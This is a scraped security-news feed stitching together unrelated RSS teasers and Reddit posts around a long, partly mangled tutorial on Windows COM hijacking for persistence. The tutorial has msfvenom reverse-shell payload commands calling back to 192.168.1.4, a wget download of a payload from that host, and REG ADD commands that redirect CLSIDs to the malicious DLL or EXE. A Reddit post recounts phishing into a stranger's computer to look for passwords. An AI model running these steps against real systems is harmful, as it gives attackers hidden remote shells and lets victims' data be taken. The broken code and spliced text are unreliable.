go
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/hackers-90x90.jpg Lapsus$ Data Kidnappers Claim Snatches From Microsoft, Okta2 weeks ago
The post No-Joke Borat RAT Propagates Ransomware, DDoS first appeared on Black Hat Ethical Hacking.

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[NEW EVENT] BUG HUNTING BOUNTY IN STMAN TESTNET

Dear Stickmen, you must be all very excited to experience the Testnet version to be released today. To celebrate this event and create the…Continue reading on Medium »
Read more...

API Security Checklist
https://www.reddit.com/r/redteamsec/comments/txi13i/api_security_checklist/

APIs come in many flavors, including REST, SOAP, graphQL, gRPC, and WebSockets, and each has its own use cases and common vulnerabilities. The issues covered in this checklist can occur in any kind of API. Regardless of which technology you have used to implement your API, read on to find out what you can do today to address the biggest potential risks associated with it. https://www.wallarm.com/resources/api-security-checklist submitted by /u/Derrick_Wallarm (https://www.reddit.com/user/Derrick_Wallarm)
[link] (https://www.reddit.com/r/redteamsec/comments/txi13i/api_security_checklist/) [comments] (https://www.reddit.com/r/redteamsec/comments/txi13i/api_security_checklist/)

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[NEW EVENT] BUG HUNTING BOUNTY IN STMAN TESTNET
https://medium.com/@stickman_battleground/new-event-bug-hunting-bounty-in-stman-testnet-7e98010ed8bd?source=rss------bug_bounty-5

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Dear Stickmen, you must be all very excited to experience the Testnet version to be released today. To celebrate this event and create the…Continue reading on Medium » (https://medium.com/@stickman_battleground/new-event-bug-hunting-bounty-in-stman-testnet-7e98010ed8bd?source=rss------bug_bounty-5)

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Hacking on Medium
CSRF in ICEHRM 31.0.0.0S in Delete User Endpoint

AbICEHRM

Continue reading on Medium »

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Hacking on Medium
Russia-China Alliance Extends to Youtube: Artist Criticizes Little Pinks, A Bear Responds

Political satire is an ancient tradition. It is an art form that has always existed, regardless of centuries, countries or cultures. And…

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Hacking on Medium
TryHackMe: [Day 8] Special by John Hammond Santa’s Bag of Toys

https://cdn-images-1.medium.com/max/1920/1*psaTaSfd9sQyajFeYTLO-w.png
Read the premise above, start the attached Windows analysis machine and find the transcription logs in the SantasLaptopLogs folder on the…

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Hacking on Medium
My CRTP Bootcamp Experience

https://cdn-images-1.medium.com/max/2000/0*KWLPydUzdgLPC1Tp.png
A little Background

Continue reading on Medium »

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Hacking Articles|Raj Chandel's Blog
Windows Persistence: COM Hijacking (MITRE: T1546.015)

IntroductionAccording to MITRE, “Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence.” To hijack a COM object, an attacker needs to make certain changes in registry hives and replace the reference to a legitimate system component with a malicious one. When that application is run and the COM object called, the malware is run instead, hence, giving persistence.Background· Attack Methodology· Discover Hijackable Keys· InProcServer32: CacheTask (Physical Access to Machine)· InProcServer32: CacheTask (Remote Access to Machine)· InProcServer32: Internet Explorer (Remote Access)· LocalServer32: Remote Access to Machine· ConclusionAccording to Microsoft, “The Microsoft Component Object Model (COM) is a platform-independent, distributed, object-oriented system for creating binary software components that can interact. COM is the foundation technology for Microsoft’s OLE (compound documents), ActiveX (Internet-enabled components), as well as others.Registries: The registry is a system-defined database in which applications and system components store and retrieve configuration data. The data stored in the registry varies according to the version of Microsoft Windows. Applications use the registry API to retrieve, modify, or delete registry data. More info here.CLSID: The CLSID or Class Identifier is a string of alphanumeric (both numbers and alphabet characters) symbols that are used to represent a specific instance of a Component Object Model or COM-based program. It allows operating systems and software, particularly for Windows, to detect and access software components without identifying them by their names. More info here.Attack MethodologyBasically, any application which is triggering an EXE/DLL or some other library, first reads the HKCU (HKEY_CURRENT_USER) value and then HKLM (HKEY_LOCAL_MACHINE). So[...]

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, if a hijackable key is found, we will create a corresponding CLSID in the HKCU hive and thus, the application will trigger the HKCU hive first (therefore, executing our code instead of legit code).Discover Hijackable KeysTo discover hijackable keys, we would require process monitor. We need to put these 4 filters:Operation is RegOpenKey Includehttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDV7r0ezJTAfkZItwubFdWmQwEL497Qhhc6DRC-BZPPSbE1lgN8b_iaNmO4b066eRk49vkUboZOOm-GHPsr49WE2_VfTDUP8oqliwsh_2--v6NXD3SpunhmwOWou5l7QkPkvuwF0rabB7YLmXRvuIK5UM04Z_bXFb_wW1naFjDaZ97tqufxFjjbMfIqA/s16000/1.png · Result is NAME NOT FOUND Includehttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAH7NH8rKVcRh7qSDFvNooqX1wyGWUmFcgQm9j7KBCgNuf5ljisxcN92LpZZSwTbf4K3nC_ugGlaJGlQwll8NNWks8d5c8engO2eFT-YQz3cBUXpjZy3e1OIrHypFTY0fYOz5-BCOjHfl-YOBAaXKPXujtPntGplyTWLcTHbXeL3AgZSLk7UO5BA1KAw/s16000/2.png · Path ends with InprocServer32/LocalServer32 Includehttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-tBDRwwhr44igxvVgM_Dv3KKLBvB22RH-kEK67haBUQo2t0OqkGqBzitbHlaNLVyPOoBOvV8aYGkrFcAq3QgqtZAr9GSM2G94XtYzq7fh4xCtUSl51yX3Lg6LLYlxsOV3jNlfRJpjxU9kwkBCNf9xST5-dCC58z1Cn-uGCJbAZJsQ2ryf74UENEG-Pg/s16000/3.png · Path begins with HKLM Excludehttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkHH9M4SCyYpaAqSKomjNYh4YZ4ZbhGM_Fz9uqktAPyQrC459ebKypdQXdepdXagAWTiSeB8JBKlfiZ6w1IdJgOe1iUabeytJB98UNn5cABkw2Rdtkz802nQB2fr1RY6tGGsMb2mr9l-4DzCBfQP2wFxWsRazGiLBk3xqw_gdn4xvTaPlxQS2Kr5tfdw/s16000/4.png Now you’d have an output of all the probably hijackable keys.Import-Module .\COMHijackToolkit.ps1
Extract-HijackableKeysFromProcmonCSV -CSVfile .\Logfile.CSVhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZGsBF0Rrry1Y4lWF_ZJUiRHNKoPAYRv9xq5kwTZfdqUfINIi7KK2v9W1pRE65S6qzKAKWBGW1stac1_o8LE0SIJ6A4R04kJNzgT0o8dakVJC7LSqMzsNQrCtCSnSpjui9M3RlMjDrQGlV4zl8PxvqOgOArVJIPyN_un5D1AkhvmZf86s0bP5AlznDzQ/s16000/6.png Another function in the same script will fetch the related CLSIDs and the missing DLL files/libraries.Part 2Enigma0x3 developed a script called Get-ScheduledTaskComHandler.ps1 which can Discover all the vulnerable COM Keys of all the scheduled tasks on the machine that execute on user logon. To do this, we just download it and run it like:Import-Module .\Get-ScheduledTaskComHandler.ps1
Get-ScheduledTaskComHandlerhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEii4M8L58lanyDpzV_mef-[...]

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VAF0ZPdOmPFrEWnL2Rp3r6ZTp7W9BsLWcNdBn2iCMkozm1Q0AkEi5PxeOshWbQGtZhSLSzmfJfFL4CfNmBcdyIkZuLRafwfGH6JBRjtduJkTTTCPECVIIQ3yIKRNibrKl9rV1dsnJIuWpRzdsMThNaM23B15kEpigM7Xa2Q/s16000/8.png The script also has a great added module which can automatically identify scheduled tasks vulnerable to COM Hijacking which can give persistence on the system.Get-ScheduledTaskComHandler -PersistenceLocationshttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5m9TuKHvVzH-yquP1sModJfP8dM1LLiMmZVtRPY_jqjB5He9Nqno3A-FkjUfpzlsvImP6qMTiZuiCkfI-O7hIZv3-iwiag1Beb8cta7OwAxspl2c6NrU6fFTwXgVAB1l3DAZ1uESszXOK63sct3UlS4xwvsMb94ue3zdwL_o7SMyVN79ePPH5UPGt0w/s16000/9.png Let’s pick a task called cache task which uses wininet.dll upon first time logon.C:\Windows\System32\Tasks\Microsoft\Windows\Wininet\CacheTaskwhich can be read using schtasksschtasks /query /XML /TN “\Microsoft\Windows\Wininet\CacheTask”https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfh39U4Ai5M3gsgRlyfnF99eju4f758jQ_WGbfbEW6rOOCZXH2BZuwfeBJkB00vaf_y2mACJR561ixYJuBaJaUEyQI7RReS-BjU3Cy-m_4a54N_aDPN49suUpa3gaxf4_seTNc57F1L1f5tjnaFCpBx8dHuRj48DPSk1aJ29edzvFd-iq7S2dFFr01Cw/s16000/11.png Here, we now have the CLSID of the COM object which calls wininet.dll. We can open the registry hives and confirm if this COM object is calling wininet.dllInProcServer32: CacheTask (Physical Access to Machine)InProcServer32 key represents a path to a dynamic link library (DLL) implementation. Often used to represent DLL which is supposed to be run by a process.HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\Then we create one other key named:{0358b920-0ac7-461f-98f4-58e32cd89148}Again, right click on this key and add a new sub key:InProcServer32Then under this, we create two strings, one with value: C:\users\Public\shell.dlland other with name “ThreadingModel” and value “Both”msfvenom -p windows/x64/shell_reverse_tcp EXITFUNC=thread lhost=192.168.1.4 lport=1337 -f dll > shell.dllhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0PeemyjpREZSytGsNgbozJHpfozIJFz_4lZaPZF6TvlEIprXt0mOEiGKw1G2yClmHzk1__9-S2pwnPDEDYMw3Wp5LCk8RnYRzlqY_wwtq_SkAvkQhPoEuoEIZYe1713PALFj487tXsNK5DXkP0DDmPeg0VeipSYknNQ3wso0SXmAUhS-vE44UxYvAvg/s16000/14.png Now, upon restart and first logon by the user, we will receive a reverse shell like so:___________________________
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orCIAdM_fON9l1RpzTASMpbbwC489bSFjp38Wo6MZBkdoBFiworD3uAo_QiWJsjY5awCCDjvc4F4obu9JVM8p8iyVMx_DcvHjaEWOzc-fblsEmEZoRZnlm5ReUUQw-VYWoBR_UuMZUFNzZILmu_rDZ2D8Wy_rSaV5ats0v6b-b4tJ0gcF7tV4mJg/s16000/15.png InProcServer32: CacheTask (Remote Access to Machine)What we just did above can be done remotely as well. First, we need access to the victim’s powershell (which can be obtained by using Nishang) and then we will use the following code provided by bohops.com found here. To find COM keys vulnerable to hijacking which include InProcServer32 keys we do:$inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null } dir $p > $null}https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8gmKKdkXxlX0ky-gCmfNNczksVXXzf4tlCNqaceQuzvgJOfrNLt-Rf0CxhYWrps0_PTvK679ImG8Y0rmcuXg_EflaFPEr4G7oE0h0IiaExumn3ESO32QMWwOPZu0-JbbX0AmaDxj-XXvGN-pHPfRnYy2yh8V9R9hxTL2P6UrO9rAGZdii8oCTdOMJgg/s16000/16.png Similarly, these results can be stored in a text files using the code:$inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null } ignite.txthttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUugW0XoU5eZZpMaw7c97i2RvkRP7OFn1Hct4UmlkO4nFcoy_X1B6B_ztCClrAXpk5f8tOryAKlpfRNGGJ0CcZFmXi2EoVMACAIt4Az7JYgloSgPmcCej_cuS2Y2EO3QPkOLcKKOzM8xBaU-hZ71mY_xGZmrRSyOC5KY8ITou_6pH7LtoQ91Rx67e3BA/s16000/17.png In the enumeration and exploitation example above, we used CacheTask and overridden the wininet.dll by shell.dllcd C:\Windows\System32\Tasks\Microsoft\Windows\Wininethttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEij_z6DLrHt_9oEqraM682pjQ3HHdYtkUYTUxkVGC-i5TkAas3DAc_NDnl841FYvnPRgpkeuavGfL0s0Fh2F40fThoxBO7afLxsA1dmHh-o53MmNJOvaqouM81B__cEFv1rX1pdgqFTWnQhWQnwGFAMd1MMrw7YTX07qm8TZ3lBIAZWdqdssnq4BY1GJA/s16000/19.png Now, we have obtained a CLSID. This exists in HKLM hive. We need to create this in HKCU which can be done using “reg add” command. And then, we can confirm if its got added using reg query. Finally, to check if it works, we can restart it and wait for a user to logonREG ADD HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32 /t REG_SZ /d C:\Users\Public\shell.dll REG_SZ /v ThreadingModel /d Bothhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivP_aN6kXUOeW4IdCaMy-CBpZZCbqUIw6M-FJmkmoR40gwLFc6HISCK6h-FJSHMbD_4DGxjBmzIKSMtiTu7Gk41p3wEwLI41Hx5bsT-9hX0xjvSLYtJbr_pfHKWb57tzLTR0F_BthRjOXnS-V7mn07xgmQ5FCaCehyrex3TU5Yxy7CdO1Vh23sqh859Q/s16000/20.png Now, when the system restarts and user Harshit logs in again, we will have a reverse shell confirming persistence has been achieved.InProcServer32: Internet Explorer (Remote Access)GDATA provided this method of persistence in post here. Internet Explorer is widely used in corporate even today. Upon reading its documentation, it was observed that IE uses the following DLL: [...]

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api-ms-win-downlevel-1×64-l1-1-0._dlIE’s CLSID exists in: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}This DLL doesn’t exist by default in the system, so, to do COM hijacking, we will create the following folder and add this DLL in here.C:\Users\harshit\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}Now, to execute this attack, we need to override the IE CLSID by referring that CLSID in HKCU hive as we did in the example above.api-ms-win-downlevel-1×64-l1-1-0._dl” https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8tQzPVE7Z3sTKTiwi--tO2kbHtT1kIA2ImSxgiWPnDiXyWgJmeAUDzZqgQ_iZzKQ8MxcKWmPEk81RF6aKX1ETDt5ombkPSUZt40XwFLn7-lmLzqGQDQ1mHU5ZXijfyPMpi7weWXQx4z4kx-XWnAcn-HRoQa3Hibe_TeXgzxuiHTMAgcutA2Ps43pjQQ/s16000/22.png Now, we create the folder: C:\Users\harshit\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}cd c:\users\harshit\appdata\roaming\microsoft api-ms-win-downlevel-1×64-l1-1-0._dl -O api-ms-win-downlevel-1×64-l1-1-0._dlhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE6RMSCLYoB7E6Aq5HViGPbaM5nGndaKLdNit_r2midqexgB-Eeaw-OISnD0Y-4Zrcu3gEtLirtbmo3PcWPw79BGZwMXe-0ch14gD5T6XondQK8nrouu3MXp4co2OVHZW1ZhuhYRjGQ_Hh__bUWQjiO8S7W3eOv9Qg4GnZ33KKAIB5Dw6RBCwH_D1mcA/s16000/23.png Now, we will add the IE CLSID reference in HKCU.REG ADD HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InProcServer32 /t REG_SZ /d C:\Users\harshit\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x64-l1-1-0._dl REG_SZ /v ThreadingModel /d Apartmenthttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi3xNeXUW7OJBfIp6IlofI8DtQaWfXuvjQR3_LWlVjsMVMEUEGHdAPBCRN0XYsuPgiKQS7Z9e_6kruHw-5ejmI7JgQpDb7gbz1PZKs9Tn1QbH4fU0HCxV7yJYBngvrIZOM-RDzPeVWE3SgKU2tBzDzyklC1s6p1X8Fic1KOLxmFQQkVONfDDtfRu0liA/s16000/24.png Once the COM hijacking has been done, as soon as IE launches, we will receive a reverse shell!LocalServer32: Remote Access to MachineThe LocalServer32 key represents a path to an executable (exe) implementation of a process, meaning that when an application is run, it refers the COM keys and executes an EXE file.Operation is RegOpenKey Include· Result is NAME NOT FOUND Include· Path ends with LocalServer32 Include· Path begins with HKLM ExcludeBut since, we are using remote machine, following code can be used. The output result contains all the files that contain an empty reference to a file that doesn’t exist on drive. As we can see, an interesting file has appeared. This file is called igniteserver.exe and refers a World writable directory (/Users/Public). Means that an attacker can put his own malicious file on this directory with the name igniteserver.exe.$inproc = gwmi Win32_COMSetting | ?{ $_.LocalServer32 -ne $null } ignite.txthttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTeSaN3hUUpoUF2JDwWg-bFNjnA-Qg_3umW_bxuciJNx2CVYtsJekteIT1uJsp8Sk4PmMJnzygD-GzQCekHCDopBpp[...]

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enVeZ1JC5qfcqx9rwAxXWZDyJhmhglDRYrjV7_3lNxmLzJ3n2tSz-owvfpsDZeeUl1ISY8LzUwuaWg87hjaDz4N-WVMeDEfXWQ/s16000/26.png We can manually inspect other files too to see which files are vulnerable to COM hijacking and use SMB to copy malicious files with same names on the directories.reg query HKEY_CLASSES_ROOT\CLSID /s /f igniteserverhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifij8JvUcJphzQEqOrAxOEMspEp_5bOhg-Tkb7KYcCrxi2z0OObLJF6BGI9VDQZ_W-uoGIdvOnmDkucWQ980LdcDBv3SaTr1GxaiAa_wmq9pvego3bN0r17qcpgixp48V_raPOOOAItV1W7WV10i0GeZ7Yh1vNZr5HXQHd0gazbFfWpqHuTtQk3VBiJA/s16000/27.png We have obtained the CLSID reference of this COM object which is 05EAE363-122A-445A-97B6-3DE890E786F8. This can be confirmed in regedit.msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.1.4 lport=1337 -f exe > igniteserver.exehttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKxW74CWorL3ptwc0TSjajybGSR2aBj--1PtSwE5iy0rWn-gLuHYVDxv-0CNNp0oTjrFhPdxzIOnWB66FuxqjgZDDv6ZzXe1HOolzPQdBvii_EMWs_Pce4pVjyvYa3DMwtNrnPSzEcA_AsVtEcy-64l8Itf7oZA5eOM2CBNkFnn_4v8Jrg26cVgYekpQ/s16000/29.png Now we need to transfer it to the desired location (C:\Users\Public)wget 192.168.1.4/igniteserver.exe -O igniteserver.exehttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoaew6UFPwrnn7mQ_U8XarAVi8J5jNVTIup9X3nQ9Hia_FbBmPidnLvYHeYAUkSbOMtGp8uplqwJUoME9eN_F1vxSBhT7oNj9P91G6C5lehZIEVptBSnaC0oIw97zXluaaCzlE4vp3i-mZ252vuKu9xBNax_2puitBFK90WuCp1IyfGfzQRXMWETg7rg/s16000/30.png Whenever an application will activate the COM object using this command, we will get persistence. If the application is run as admin we might escalate our privileges as well![activator]::CreateInstance([type]::GetTypeFromCLSID("{05EAE363-122A-445A-97B6-3DE890E786F8}"))https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVl5f9FAuKGqzfdEnZPMIG-4KmArQl78_-rp89Z2U2pepHG1xXfKoZ2vcPkWxUhsE0jkU3lLOS5TRCnbLuBUI6b87F4gyfzKduMhR6JhkhilYFrKubrwkH-Pd3EExrPC0kwZv_CU-gIkziDcvhJUWGEUZiDUe_4xDtTt-ULUCvQSpGf-BG_jdPfKbh1g/s16000/31.png As soon as the application creates this instance and runs the COM key reference, we get our reverse shell!ConclusionIn the article, we saw demonstration of how we can use hijackable COM keys (that miss references to libraries) to gain persistence. We saw two methods InProcServer32 and LocalServer32 that are used by applications to run libraries in a process. Since the execution of these libraries are automated, replacing them with our malicious file would mean automated execution of our code as soon as the related application starts. In InProcServer32 method, we create another reference to the same COM key existing in HKLM, in HKCU and override the execution. On the other hand, in LocalServer32 method, we replace an EXE reference with our malicious one. Hope you liked the article. Thanks for reading.___________________________
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pentesting graduation project ideas
https://www.reddit.com/r/Pentesting/comments/txjbkd/pentesting_graduation_project_ideas/

I will graduate next year and they ask us in college for graduation project ideas to be delivered this semester. I'm a begginer in the cyber security field. I finished complete begginer path on Tryhackme and some other CTFs. I don't really have any idea in my mind. Can you recommend some ideas that's not too hard neither too easy? I want to work on some offensive projects. Programming won't be a proplem i have some scripting skills. Just want something suitable for me. I also don't want it to be traditional like scanners and fuzzers. I'd automate or solve proplems i face but i really never encountered such thing, that can be automated or solved. submitted by /u/Superb_Drawer_2214 (https://www.reddit.com/user/Superb_Drawer_2214)
[link] (https://www.reddit.com/r/Pentesting/comments/txjbkd/pentesting_graduation_project_ideas/) [comments] (https://www.reddit.com/r/Pentesting/comments/txjbkd/pentesting_graduation_project_ideas/)

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hacking: security in practice
the checksum of an image as a password

Hello

During my past as a hacker, I had managed to gain access to a person's computer with phishing via email. I wanted to take these passwords saved on Google Chrome except that it had nothing. I then searched his computer and saw dozens of images, all drawn on paint. Then I found a folder named code, and I saw a python script that returned the checksum of a file.

After digging around a bit, I figured it all out:

He drew random drawings by hand on paint, uses the python script to get the checksum and uses the result as a password. I found the passwords in a text file.

WTF!

submitted by /u/Melodic-Heart-1172
[link] [comments]

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hacking: security in practice
People in malware development, exploit research, etc.… how have custom compilers been effectively used or not used?

Talking to my dad who’s kinda an old school engineer from the 80s, he told me he recently had to write a custom compiler for a variety of reasons I won’t get in to. Kinda forget that people actually have to do the painstaking work to write compilers but I rarely hear about them in the context of cybersecurity and cybercrime. Not unlike the adoption of rust by some in the hacking space, has the idea of writing specific compilers for tasks/operations seen the light of day?

submitted by /u/heap-spray-n-pray
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